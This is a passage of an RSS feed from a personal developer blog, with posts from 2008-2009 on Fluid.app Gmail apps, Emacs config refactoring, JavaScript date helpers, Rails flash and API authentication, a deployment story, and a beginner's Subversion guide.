features. My dilemna: How can I get my 2 email accounts to be into
desktop applications, but keep that same amazing web interface?&lt;/p&gt;&lt;p&gt;Enter &lt;a href="http://fluidapp.com/"&gt;Fluid.app&lt;/a&gt;. Put simply, it's an
application that creates OSX app's from web pages. The generated app
have menulets, so you can replace Google Notifiers. Fluid also lets
you skin web pages with Javascript and CSS if you're inclined.&lt;/p&gt;&lt;p&gt;After you install Fluid, make sure you download these &lt;a href="http://chris.ivarson.name/goodies/"&gt;gorgeous Gmail
icons&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;When you fire up Fluid, fill in the following information:&lt;/p&gt;&lt;p&gt;&lt;img src="/images/fluid-setup.png" alt="fluid setup window"&gt;&lt;/p&gt;&lt;p&gt;Choose one of the icons you just downloaded.  I use orange for
personal mail, and Coupa blue for work email. When you finish, launch
the apps, login to Gmail, and viola!&lt;/p&gt;&lt;p&gt;Here's what my dock looks like. Note how there's an indicator for the
number of unread messages in my mailbox. Sweet!&lt;/p&gt;&lt;p&gt;&lt;img src="/images/fluid-dock.png" alt="fluid gmail icons in my dock"&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: Since I told people about my solution, I heard about two
interesting alternatives.  &lt;a href="http://www.postbox-inc.com/"&gt;Postbox Inc&lt;/a&gt;
is a free program, and &lt;a href="http://mailplaneapp.com/"&gt;Mailplane App&lt;/a&gt; costs
$24.95.  Both of them were amazing apps, but fell slightly short of my
expectations.  They both had very polished UI's, and were both quick
to download and get up and running.  Postbox was immediately out of
the running when I saw that it used POP/IMAP.  Mailplane was a much
more interesting candidate. It's great because it embeds the Gmail
interface in the main window, but gives you OS X menus and drag&amp;amp;drop
functionality.  My favorite features were the screenshot taker and
drag and drop attachments.  It feels more like a native desktop app
than my Fluid solution.  Alas, I couldn't use it because of one minor
pitfall.  Mailplane allows you to have multiple accounts, but you have
to switch between them.  From the looks of it, you can only have one
'active' account at a time.  This prevents me from having my accounts
in separate windows, which is one of my requirements.  I think both of
these apps are probably better than Apple Mail, and they'd be great
apps if you don't mind IMAP, or if you only have a single account.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/DcZyzdzjmYQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 11 Feb 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/DcZyzdzjmYQ/multiple-gmail-accounts-on-osx-done-right</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/02/11/multiple-gmail-accounts-on-osx-done-right</feedburner:origLink></item>
    <item>
      <title>Emacs Refactoring</title>
      <description>&lt;p&gt;While I waited for Coupa customers to be upgraded, I decided to clean
up my .emacs config file.  My .emacs was never a pretty thing to
admire.  Without any restraint, I often added whatever cool code
snippet I came across online.  The file became verbose, redundant, and
a general mess. I set out to make it more modular and easier to
follow.&lt;/p&gt;&lt;p&gt;The first thing I wanted to fix was this really ugly section where I
manipulate the &lt;code&gt;load-path&lt;/code&gt; and load my plugins. I created a
convention to install each plugin in it's own folder, and to have a
install hook for each plugin. For example, the ruby plugin looks like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;~/.emacs.d/plugins
  ruby
    ruby.el
    load-ruby.el
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Previously, I added the following 2 lines for every plugin.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(add-to-list 'load-path "~/.emacs.d/plugins/ruby")
(load "load-ruby.el")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But thanks to the
&lt;a href="http://www.emacswiki.org/emacs/LoadPath"&gt;EmacsWiki&lt;/a&gt;, I learned about
&lt;code&gt;normal-top-level-add-to-load-path&lt;/code&gt;. In the finished
version, I put the plugin names in a list and iterate over them:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;;;; ### Plugin Initialization ###
(setq plugins-to-load
  '("harvey-navigation" "javascript" "dsvn" "ruby" "ido"))

;; add to "~/.emacs.d/plugins/__plugins-to-load__ to load-path
(let* ((my-lisp-dir "~/.emacs.d/plugins")
       (default-directory my-lisp-dir))
  (setq load-path (cons my-lisp-dir load-path))
  (normal-top-level-add-to-load-path plugins-to-load))

;; run the init file for the plugin
(mapcar (lambda (plugin-name)
          (load (concat "load-" plugin-name ".el")))
        plugins-to-load)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the process of changing how plugins are loaded, I removed several
plugins that I never used. This lowered my emacs load time by a large
perceptible amount.&lt;/p&gt;&lt;p&gt;My .emacs isn't something I work with very often, but I derived a fair
amount of satisfaction that the next time I need to tweak something,
I'll know it won't suck.&lt;/p&gt;&lt;p&gt;You can find the finished config &lt;a href="http://github.com/jch/jch-dotfiles/tree/master/emacs"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/5pWy8tS__80" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 6 Feb 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/5pWy8tS__80/emacs-refactoring</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/02/06/emacs-refactoring</feedburner:origLink></item>
    <item>
      <title>Rails-like Javascript Date Helpers</title>
      <description>&lt;p&gt;I'm a fan of
&lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/Time/Calculations.html"&gt;ActiveSupport::CoreExtensions::Time::Calculations&lt;/a&gt;.
It gives you easy to use methods like &lt;code&gt;beginning_of_day&lt;/code&gt;,
&lt;code&gt;end_of_day&lt;/code&gt;, &lt;code&gt;beginning_of_week&lt;/code&gt;,
&lt;code&gt;end_of_day&lt;/code&gt;, etc.  These methods make date handling code
more concise and more readable.  I wanted the same benefits in
Javascript, so I've ported over a subset of these methods and mixed
them into Javascript's &lt;code&gt;Date&lt;/code&gt; object.  Read on for the
code.&lt;/p&gt;&lt;p&gt;Here are a few examples of what you can do with these date extensions:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Mon Jan 12 2009 13:30:00 GMT-0800 (PST)
var monday = new Date(2009, 0, 12, 13, 30, 0);

// Wed Jan 14 2009 13:30:00 GMT-0800 (PST)
var wednesday = new Date(2009, 0, 14, 13, 30, 0);

// Fri Jan 16 2009 13:30:00 GMT-0800 (PST)
var friday = new Date(2009, 0, 16, 13, 30, 0);

wednesday.between(monday, friday);  // true

wednesday.beginningOfDay(); // Wed Jan 14 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfDay(); // Wed Jan 14 2009 23:59:59 GMT-0800 (PST)

wednesday.beginningOfWeek(); // Sun Jan 11 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfWeek(); // Sat Jan 17 2009 23:59:59 GMT-0800 (PST)

wednesday.beginningOfMont(); // Thu Jan 01 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfMonth(); // Sat Jan 31 2009 23:59:59 GMT-0800 (PST)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here's the code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Date.prototype.between = function(start, end) {
  return (start &amp;lt;= this) &amp;amp;&amp;amp; (end &amp;gt;= this);
};

Date.prototype.beginningOfDay = function() {
  var newDate = new Date(this);
  newDate.setHours(0);
  newDate.setMinutes(0);
  newDate.setSeconds(0);
  return newDate;
};

Date.prototype.endOfDay = function() {
  var newDate = new Date(this);
  newDate.setHours(23);
  newDate.setMinutes(59);
  newDate.setSeconds(59);
  return newDate;
};

Date.prototype.beginningOfWeek = function() {
  var newDate = new Date(this);
  var offsetToBeginning = newDate.getDay();
  newDate.setDate(newDate.getDate() - offsetToBeginning);
  return newDate.beginningOfDay();
};

Date.prototype.endOfWeek = function() {
  var newDate = new Date(this);
  // Saturday = 6
  var offsetToEnd = (6 - newDate.getDay());
  newDate.setDate(newDate.getDate() + offsetToEnd);
  return newDate.endOfDay();
};

// 0 = january, 1 = feb, ...
// does not account for leap years
Date.DAYS_OF_MONTH_MAP = [
  31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
];

Date.prototype.daysInMonth = function() {
  return Date.DAYS_OF_MONTH_MAP[this.getMonth()];
}

Date.prototype.beginningOfMonth = function() {
  var newDate = new Date(this);
  newDate.setDate(1);
  return newDate.beginningOfDay();
};

Date.prototype.endOfMonth = function() {
  var newDate = new Date(this);
  newDate.setDate(newDate.daysInMonth());
  return newDate.endOfDay();
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I did not need every method that ActiveSupport provided, so I stuck
with implementing only the ones I needed.  It's pretty straightforward
to write the rest of the methods if they're needed.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/s7ZEZu8f2tk" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sun, 11 Jan 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/s7ZEZu8f2tk/rails-like-javascript-date-helpers</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/01/11/rails-like-javascript-date-helpers</feedburner:origLink></item>
    <item>
      <title>Rails Flash with Ajax</title>
      <description>&lt;p&gt;One small annoyance about working with the
&lt;a href="http://api.rubyonrails.org/classes/ActionController/Flash.html"&gt;flash&lt;/a&gt;
in Rails is that it only works well if you render separate pages per
action.  The flash falls apart if you do an Ajax call and render an
RJS template or some inline javascript.  The flash won't show up when
it should, and it'll show up on some other page when you don't want it
to.  I made 2 small changes to my app to make flash behave better when
an Ajax call is made.&lt;/p&gt;&lt;p&gt;The first trick is something I learned at work.  First, we need to
extract the rendering of the flash into a partial in
'app/views/layouts/_flash.html.erb'.  This will allow us to render the
flash in a normal template, but also allow us to replace the flash in
an inline render.  In my main template, I do a normal:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;div id="flash_messages"&amp;gt;
&amp;lt;%= render :partial =&amp;gt; 'layouts/flash' %&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To refresh the flash when an Ajax request happens, I add a
'reload_flash' method to ApplicationHelper:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def reload_flash
  page.replace "flash_messages", :partial =&amp;gt; 'layouts/flash'
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then from my RJS templates or from a &lt;code&gt;render :update&lt;/code&gt;
block, I can call the reload_flash to refresh the flash inline:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# within a controller action
render :update do |page|
  flash[:notice] = "Entering 'beast mode'..."
  page.reload_flash
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This all seems fine and dandy until you visit another page.
Unfortunately, the flash is not cleared because you haven't visited
another action, so you end up with the flash message redundantly
displaying a 2nd time.  To fix this, I added an
&lt;code&gt;after_filter&lt;/code&gt; to &lt;code&gt;ApplicationController&lt;/code&gt; to
clear the flash after an action if it was an Ajax request:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class ApplicationController &amp;lt; ActionController::Base
  after_filter :discard_flash_if_xhr

  protected
  def discard_flash_if_xhr
    flash.discard if request.xhr?
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Easy isn't it?  The catch here is to remember to call
&lt;code&gt;reload_flash&lt;/code&gt; whenever you're doing an inline render.&lt;/p&gt;&lt;p&gt;Another useful tip plugin for working with the flash is the
&lt;a href="http://www.robbyonrails.com/articles/2008/08/29/flash-message-conductor"&gt;flash-message-conductor&lt;/a&gt;
plugin.  I use it to controll the logic of when to show the flash, and
also control some animations for hiding and showing the flash.  It's a
nice simple plugin.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/1rN4ufJ5-Wk" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 13 Dec 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/1rN4ufJ5-Wk/rails-flash-with-ajax</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/12/13/rails-flash-with-ajax</feedburner:origLink></item>
    <item>
      <title>OS X GUI Tool 'HTTP Client'</title>
      <description>&lt;p&gt;Kyle sent out this &lt;a href="http://ditchnet.org/httpclient/"&gt;amazing tool&lt;/a&gt; for
testing and debugging at the HTTP level.  This would've been a
lifesaver a few weeks ago when I was working on RESTful API stuff for
work, but better late than never.&lt;/p&gt;&lt;p&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="437" height="315" id="viddler"&gt;&lt;param name="movie" value="http://www.viddler.com/player/9f577b3/"&gt;
&lt;param name="allowScriptAccess" value="always"&gt;
&lt;param name="allowFullScreen" value="true"&gt;
&lt;param name="wmode" value="transparent"&gt;
&lt;embed src="http://www.viddler.com/player/9f577b3/" width="437" height="315" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="transparent" name="viddler"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;The idea of the app is amazingly simple.  It lets you specify the type
of http request you want to make, the header options, and the body.
The beauty of doing it in a GUI instead of from the command line with
curl is that there are dropdowns for the hard to remember header
options, and that you can paste fat hunks of XML into the body field.
It's also awesome because you can open multiple windows and have each
of those be a re-runnable http client.&lt;/p&gt;&lt;p&gt;HTTP Client is 99% perfect app for my uses.  The single feature that
would push it to being a perfect app would be a cookie-jar so that
sessions can be saved.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/WZ-Em9T2wx4" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 8 Dec 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/WZ-Em9T2wx4/osx-gui-tool-httpclient</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/12/08/osx-gui-tool-httpclient</feedburner:origLink></item>
    <item>
      <title>How to Make an API for a Rails App</title>
      <description>&lt;p&gt;I've come across the same problem in my personal projects and also at
work.  You have an existing Rails app that has some authentication and
authorization scheme to protect who has access to your controllers,
but now you need to write an API that can access those controllers.
How do you keep the same authentication routine for your API users?&lt;/p&gt;&lt;p&gt;The are two approaches I've seen used.  One is based on using HTTP
AuthBasic, and the other is to generate a unique API key for API
users.&lt;/p&gt;&lt;h2&gt;Option 1: HTTP Basic Auth&lt;/h2&gt;&lt;p&gt;I learned this snippet from working with &lt;a href="http://overhrd.com/"&gt;Mike&lt;/a&gt;.
Rails 2.x support &lt;a href="http://railscasts.com/episodes/82"&gt;HTTP Basic Auth&lt;/a&gt;
out of the box.  For our app, we check the request format and only do
basic auth if the format is xml.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class ApplicationController &amp;lt; ActionController::Base
  protected
  def http_basic_authentication
    if request.format == Mime::XML
      authenticate_or_request_with_http_basic do |username, password|
        username == 'foo' &amp;amp;&amp;amp; password == 'bar'
      end
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then for controllers that allow API access, we simply add a before
filter.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class OrangesController &amp;lt; ActionController::Base
  before_filter :http_basic_authentication, :only =&amp;gt; :create

  def create
    # do stuff
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then to create an Orange via the API, we could do:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# we expect an XML response, so we suffix url with 'xml'
# optionally, we can also add 'foo:bar@' before the domain name.
url = URI.parse("http://example.com/oranges.xml")

req = Net::HTTP::Post.new(url.path)
req.basic_auth 'foo', 'bar'

req.set_form_data({'size' =&amp;gt; 'large', 'juicy' =&amp;gt; '1'})
http = Net::HTTP.new(url.host, url.port)
response = http.start {|http| http.request(req) }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(Note: Beware of ssl, remember to set &lt;code&gt;http.use_ssl =
true&lt;/code&gt;)&lt;/p&gt;&lt;h2&gt;Options 2: Using API key&lt;/h2&gt;&lt;p&gt;I didn't know about HTTP Basic Auth when I was writing my &lt;a href="http://money.whatcodecraves.com/"&gt;Money
app&lt;/a&gt;, so I took a little time to
fully understand how Rail's
&lt;a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html"&gt;ActionController::Filters&lt;/a&gt;
work.  The documentation is clear and the source is straightforward to
understand.&lt;/p&gt;&lt;p&gt;For API authentication, I decided to write my own custom filter
object and put it in lib/api_authorized_filter.rb&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Use this filter as an around_filter around actions that can be
# accessed via the API.
#
# Example:
#   class ItemsController &amp;lt; ApplicationController
#     prepend_around_filter ApiAuthorizedFilter.new, :only =&amp;gt; [:create]
#   end
#
class ApiAuthorizedFilter
  def before(controller)
    return true unless controller.params[:api_key]
    controller.current_user = User.find_by_api_key(controller.params[:api_key]))
  end

  def after(controller)
    controller.current_user = nil
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ApiAuthorizedFilter is put at the very beginning of the filter chain
with &lt;code&gt;prepend_around_filter&lt;/code&gt;, before any normal
authentication &lt;code&gt;before_filters&lt;/code&gt;.  When it's called, the
&lt;code&gt;before&lt;/code&gt; method is invoked with the current controller, and
the filter 'logins' an API User if the api_key is valid.  When my
normal authentication filters run, they won't halt because it'll seem
like there is a logged in user.  Finally, when the action is finished
running, the &lt;code&gt;after&lt;/code&gt; method will log out the API User to
prevent a User from staying logged in.  This last step is optional,
but I think it's better to only let API Users authenticate every time
they need something.&lt;/p&gt;&lt;p&gt;In order to use this Filter, you'll have to add an 'api_key' column to
your User model, and also tweak the &lt;code&gt;before&lt;/code&gt; and
&lt;code&gt;after&lt;/code&gt; code to login and logout the user.&lt;/p&gt;&lt;h2&gt;Which one should I use?&lt;/h2&gt;&lt;p&gt;I personally like the latter because the api key gives me another way
to reference a logged in user.  Since the api key is independent of a
user's login and password, it's also easier to replace the key without
resetting the user's web credentials.  Of course, you can make both
methods work the same way, so it's really a matter of personal taste.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/yh83LPXciQs" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 25 Nov 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/yh83LPXciQs/how-to-make-an-api-for-a-rails-app</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/11/25/how-to-make-an-api-for-a-rails-app</feedburner:origLink></item>
    <item>
      <title>Deploying into the Night</title>
      <description>&lt;p&gt;Yesterday was an emotional roller coaster of brutality and
awesomeness, mixed with a good share of productivity.  The day started
off innoculously enough.  I checked my incoming tickets, went through
my email for tasks to do on my projects, scrummed with the team, and
enjoyed a delicious steak lunch on the house...&lt;/p&gt;&lt;p&gt;Waah?  Steak lunch at
&lt;a href="http://www.yelp.com/biz/porterhouse-san-mateo#hrid:cepR76qS-iHdExL6VGTOeg"&gt;Porterhouse&lt;/a&gt;?
Thanks to our awesome admin, Jules, Kyle, Lee, and myself got to relax
and chat over some juicy meat and a cold beer.  I had an especially
good time talking to Lee since I haven't made a big effort to talk to
coworkers outside the dev team.  It made me appreciate what it takes
to run a company efficiently, and also what kinds of features other
internal users care about.  Kyle's sexy and all, but I get to see and
talk to him everyday :).&lt;/p&gt;&lt;p&gt;Lunch was fantastic, but as I drew closer and closer to dinner time,
the situation looked worse and worse.  The planned upgrade time for
our 105 customer environments was scheduled to occur at 6:00pm.  I
felt like I had a good grasp of the bugs I was working on, so I
thought I'd lend a hand to the Operations team by making one of my
slow migrations run faster so they could go home earlier.  In doing
so, I realized that my migration wasn't comprehensive enough to cover
all the bad cases.  I was super thankful that this bug was caught with
only 15 minutes left before the scheduled downtime.&lt;/p&gt;&lt;p&gt;Of course, when I found this bug, I felt uneasy deploying the changes
without some heavy duty QA.  I thought I would stick around just to
make sure the migrations wouldn't croak.  I thought to myself, how
long could this possibly take?&lt;/p&gt;&lt;p&gt;We started the process off by disabling customers from accessing the
application and putting a placeholder HTML page.  Seggy quickly
cancel'ed this action because his phone started getting notifications
from &lt;a href="http://pingdom.com/"&gt;Pingdom&lt;/a&gt; because the site uptime checkers
hadn't been paused.  Next the migrations were run for all the
instances and they seemed to work ok.  I breathed a sigh of relief,
and told Wendy that I'd be heading home at any moment...&lt;/p&gt;&lt;p&gt;An hour or so later, we were finally able to check off the
verification tasks in Google Docs for some custom PDF template
changes.  These were super annoying to deal with and didn't work right
away because we had bad merge data between trunk and stable.  But we
did finish, I breathed a fresh sigh, and I apologized to Wendy and
reassured her again that I'd be leaving soon...&lt;/p&gt;&lt;p&gt;Another hour or so later, we solved custom LDAP mixin code for the
single customer who used LDAP.  Because we refactored out most of our
config to use
&lt;a href="http://github.com/lukeredpath/simpleconfig/tree/master"&gt;Simpleconfig&lt;/a&gt;,
we were having issues deciding where to put the custom LDAP code.
This lead to a wild goose chase because the load order of when the
custom code was mixed in determined if it worked or not.  Worse yet,
we found &lt;em&gt;another&lt;/em&gt; code error where the LDAP authentication code
wasn't run at all.  This took some diff-ing and merging to fix up.&lt;/p&gt;&lt;p&gt;I finally left the office 5 minutes to 11pm.  My heart was pumping
like mad from fixing those problems, my stomach was growling like
crazy, and my brain was turning off at an exponential rate.  It was
quite a rush to help out with the deployment.  The key lesson I took
away from that was how big a maintenance nightmare customer-specific
features are.  I understand why they were done, but if they weren't
there, none of the problems would've shown up and we would've finished
hours ago.&lt;/p&gt;&lt;p&gt;I had already thought Lee and Seggy were amazing coworkers, but now I
have a new level of respect for them.  I'm also super sorry to Wendy
and Serena for putting up with us taking so long.  I felt especially
guilty that the custom PDF templates wasn't a smooth transition
because I wrote the fixes for it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/uf4Ha2WZmJU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 8 Nov 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/uf4Ha2WZmJU/deploying-into-the-night</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/11/08/deploying-into-the-night</feedburner:origLink></item>
    <item>
      <title>Subversion for the Lazy</title>
      <description>&lt;p&gt;I've been asked about subversion enough times to justify writing this
quick and dirty article to save me future time.  Read this guide if
you absolutely need to get subversion working ASAP.  Otherwise I
highly recommend going through the &lt;a href="http://svnbook.red-bean.com/"&gt;svn
book&lt;/a&gt; for more background information
and advanced usage.&lt;/p&gt;&lt;h2&gt;Bare Minimum Background&lt;/h2&gt;&lt;p&gt;You will NOT be able to do anything right in subversion unless you
understand WHY it exists.  Subversion might be a pain in the ass, but
that wasn't why it was created.  Subversion is &lt;a href="http://en.wikipedia.org/wiki/Revision_control"&gt;version control
software&lt;/a&gt; that is
supposed to help programmers organize their code.  If you use it
correctly, it'll fix all of the following problems:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;taking notes about the changes you were working on.&lt;/li&gt;
&lt;li&gt;going backwards in time to an older non-broken copy of a file.&lt;/li&gt;
&lt;li&gt;merging changes from multiple programmers on the same file.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;This all starts with a subversion &lt;span class="repository-address"&gt;repository&lt;/span&gt;.  Think of the repo as
the original copy of your files.  Instead of making changes on the
original copy, you &lt;span class="command"&gt;checkout&lt;/span&gt; a &lt;span class="arg1"&gt;working copy&lt;/span&gt; and make changes to that.  When
you're satisfied with the changes you made in your working copy, you
&lt;em&gt;commit&lt;/em&gt; the changes back to the repository.  Here is the absolute
simplest case of using svn:&lt;/p&gt;&lt;style type="text/css"&gt;
  .command { color: #63831F }
  .repository-address { color: #FD6A08 }
  .arg1 { color: #6F86C0 }

  .subversion-command { margin-left: 20px; }
&lt;/style&gt;&lt;h3&gt;Checkout a Working Copy&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;svn checkout svn+ssh://address.to.subversion/repository myworkingcopy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;span class="command"&gt;'checkout'&lt;/span&gt; command makes a copy of
the &lt;span class="repository-address"&gt;repository&lt;/span&gt; and puts it
into a folder named &lt;span class="arg1"&gt;myworkingcopy&lt;/span&gt;.&lt;/p&gt;&lt;h3&gt;Make Your Changes&lt;/h3&gt;&lt;p&gt;Edit any of the files in your working copy.  These changes will only
be in your working copy until you commit them back to the &lt;span class="repository-address"&gt;repository&lt;/span&gt;.  This means that if you
make changes, and &lt;em&gt;another&lt;/em&gt; person does a fresh checkout, they will
&lt;em&gt;not&lt;/em&gt; see your changes.  If you decide to create any new files in the
working copy, you need to let svn know with the 'svn add' command.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn add new_file1.txt new_file2.java new_file3.avi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can add any number of arbitrary new files.&lt;/p&gt;&lt;h3&gt;Commit Your Changes&lt;/h3&gt;&lt;p&gt;Before you commit, you want to double check the changes you made.
First type:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn status
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This lets you know what's being committed.  'M' means modified, 'A'
means added, and '?' means it's a new file that hasn't been added.
Read the last section for adding.&lt;/p&gt;&lt;p&gt;When you're happy with the files to be committed, type&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn commit
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will bring up your editor to type a note about what the changes
in this commit are.  If it says that no editor is set, google how to
set EDITOR in bash.  After the commit succeeds, anyone else who does a
fresh checkout or an 'svn update' will get the changes you just
committed.&lt;/p&gt;&lt;h3&gt;Pulling Changes from the Repository&lt;/h3&gt;&lt;p&gt;If multiple programmers are using the same &lt;span class="repository-address"&gt;repository&lt;/span&gt;, then at some point
you'll have to pull changes from other programmers.  Instead of doing
a fresh checkout every time, simply run&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn update
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;to bring in all the changes from the remote repository.  It's a good
idea to get in the habit of updating before you make your changes
because otherwise you'll have to do unnecessary merging.  Read about
merging in the svn redbook.&lt;/p&gt;&lt;h3&gt;Cheatsheet&lt;/h3&gt;&lt;p&gt;To summarize:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn checkout http://svn.somehost.com/path/to/repository my_own_copy
cd my_own_copy
(edit the files in my_own_copy)
svn add my_own_copy/new_file1.txt
svn status
svn commit
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Common Issues&lt;/h3&gt;&lt;p&gt;If svn ever says, '.' is not a working directory, then it means you
are not currently in a &lt;span class="arg1"&gt;working copy&lt;/span&gt;.  The
working copy is what you named the folder when you originally checked
it out.  See section about 'checking out'.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Never&lt;/em&gt; mix and match folders from different working copies.  If you
want to use mv, or cp, or copies files in and out of the working
folder, read about 'svn copy' and 'svn move'.&lt;/p&gt;&lt;p&gt;If you try to add a folder, and it says it's already been added, then
you probably meant to add the files within the folder.  Simply do a
'svn add -R folder_name' to do a recursive add of all files in the
folder.&lt;/p&gt;&lt;p&gt;All subversion commands start with 'svn'.  To get a list of all
commands, type 'svn help'.  To get help on a command foo, do 'svn help
foo'.&lt;/p&gt;&lt;p&gt;If you're on a Mac and you suck at Terminal, then go get
&lt;a href="http://www.apple.com/downloads/macosx/development_tools/svnx.html"&gt;svnX&lt;/a&gt;.
If you're on windows, get &lt;a href="http://tortoisesvn.tigris.org"&gt;Tortoise
SVN&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Final Hints&lt;/h3&gt;&lt;p&gt;This guide is for lazy people who won't spend 20 minutes to read and
understand the subversion guide.  I guarantee you'll save hours and
hours of headache if you just take the time to learn it properly.
This is the bare minimum to get started, and if you still have
questions after this, go and read the &lt;a href="http://svnbook.red-bean.com/"&gt;svn red
book&lt;/a&gt;.  Learn about merging, learn about
diff's, and learn how version control works.  You'll not only help
yourself in the long run, but you'll save the people you work with
lots of time too.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/1YunuGysU7M" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 7 Nov 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/1YunuGysU7M/subversion-for-the-lazy</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/11/07/subversion-for-the-lazy</feedburner:origLink></item>
    <item>
      <title>Dump Test Data from Production to Development with yaml_db</title>
      <description>&lt;p&gt;For &lt;a href="http://money.whatcodecraves.com/"&gt;Money app&lt;/a&gt;, I ran into a
problem with the charts drawing ugly x-axis when the datapoints were
too close together.  I didn't want to reproduce the problem locally
because it would involve a lot of data entry.  So I set out to look
for some sensible solutions.&lt;/p&gt;&lt;p&gt;The first thing I did was look through Rail's default database Rake
tasks.  The most promising of these was 'db:schema:dump', but
unfortunately, this only dumped the database schema structure without
dumping the actual rows.  Then I remembered hearing &lt;a href="http://adam.blog.heroku.com/"&gt;Adam
Wiggins&lt;/a&gt; talk about
&lt;a href="http://heroku.com/"&gt;Heroku&lt;/a&gt; a few weeks back.  I remember being
impressed by his product pitch.  But more importantly, I remember
Heroku had this feature of uploading your existing data to be imported
into their database.  So I looked through Wiggin's github repo, and
sure enough,
&lt;a href="http://github.com/adamwiggins/yaml_db/tree/master"&gt;yaml_db&lt;/a&gt; was
there.&lt;/p&gt;&lt;p&gt;The README is pretty self-explanatory, and it worked as advertised.  I
remember Wiggins mentioning that Heroku had problems with loading yaml
files on the order of gigabytes, but this isn't really won't be an
